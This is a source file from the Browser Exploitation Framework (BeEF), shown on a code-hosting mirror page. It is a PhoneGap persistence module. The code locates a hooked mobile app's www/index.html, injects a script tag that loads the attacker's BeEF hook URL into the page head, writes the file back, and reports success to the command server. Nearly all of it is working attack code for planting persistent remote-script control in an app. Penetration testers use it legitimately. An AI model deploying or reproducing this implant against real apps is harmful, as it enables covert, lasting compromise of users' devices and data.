Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_persistence/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// persistence
8
//
9
beef.execute(function() {
10
11
// insert hook into index.html
12
//
13
// 1. locate index.html
14
// 2. read it in
15
// 3. add our hook
16
// 4. write it back out to same location
17
18
// 1. locate index.html
19
//
20
// list dirs under current dir
21
// one should be something.app
22
// inside that should be a www dir and in that an index.html
23
//
24
25
// write the file with new hook
26
function write_file(text) {
27
28
function fail () {
29
beef.debug('write_file fail')
30
}
31
32
function gotFileWriter(writer) {
33
writer.onwrite = function(evt) {
34
beef.debug("write success");
35
}
36
writer.write(text);
37
}
38
39
function gotFileEntry(fileEntry) {
40
fileEntry.createWriter(gotFileWriter, fail);
41
}
42
43
function gotFS(fileSystem) {
44
fileSystem.root.getFile("../"+window.tmpfilename+"/www/index.html", null, gotFileEntry, fail);
45
}
46
47
window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);
48
49
}
50
51
// find <head></head> and insert our hook.
52
function replace_text(text) {
53
re = new RegExp("<head>", "g");
54
hook_url = '<%== @hook_url %>';
55
new_text = text.replace(re, "<head><script src='" + hook_url + "'></script>")
56
57
write_file(new_text);
58
}
59
60
function read_index(app_name) {
61
function fail () {
62
beef.debug('read_index fail')
63
}
64
65
function readFile(file) {
66
var reader = new FileReader();
67
reader.onloadend = function(evt) {
68
//beef.debug("Read as text");
69
beef.debug(evt.target.result);
70
replace_text(evt.target.result);
71
};
72
reader.readAsText(file);
73
}
74
75
function gotFileEntry(fileEntry) {
76
fileEntry.file(readFile, fail);
77
}
78
79
function gotFS(fileSystem) {
80
fileSystem.root.getFile("../"+app_name+"/www/index.html", null, gotFileEntry, fail);
81
}
82
83
window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);
84
}
85
86
function locate() {
87
88
function result(entries) {
89
beef.debug('result');
90
var i;
91
for (i=0; i<entries.length; i++) {
92
// looking for <something>.app
93
var re = new RegExp(/^[a-zA-Z0-9]*\.app/)
94
var match = re.exec(entries[i].name)
95
if (match) {
96
beef.debug('found ' + entries[i].name);
97
98
// look for ../<something>.app/www/index.html
99
read_index(entries[i].name);
100
101
// FIXME find a less hacky way
102
// just wanted to make this global so I didnt have to call it again to write the file
103
window.tmpfilename = entries[i].name;
104
}
105
}
106
}
107
108
109
function fail() {
110
beef.debug('fail');
111
}
112
113
function win(entries) {
114
beef.debug('win');
115
result(entries);
116
}
117
118
// use directoryentry to create directory reader
119
function gotDirEntry(dirEntry) {
120
var directoryReader = dirEntry.createReader();
121
directoryReader.readEntries(win,fail);
122
}
123
124
// use getDirectoy to create reference to directoryentry
125
function gotFS(fileSystem) {
126
// on iphone current dir defaults to <myname>.app/documents
127
// so we wanna look in our parent directory for <something>.app
128
fileSystem.root.getDirectory('../', null, gotDirEntry, fail);
129
}
130
131
window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);
132
}
133
134
135
//result = fail;
136
//beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result);
137
138
locate();
139
result = 'success';
140
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result);
141
142
});
143
144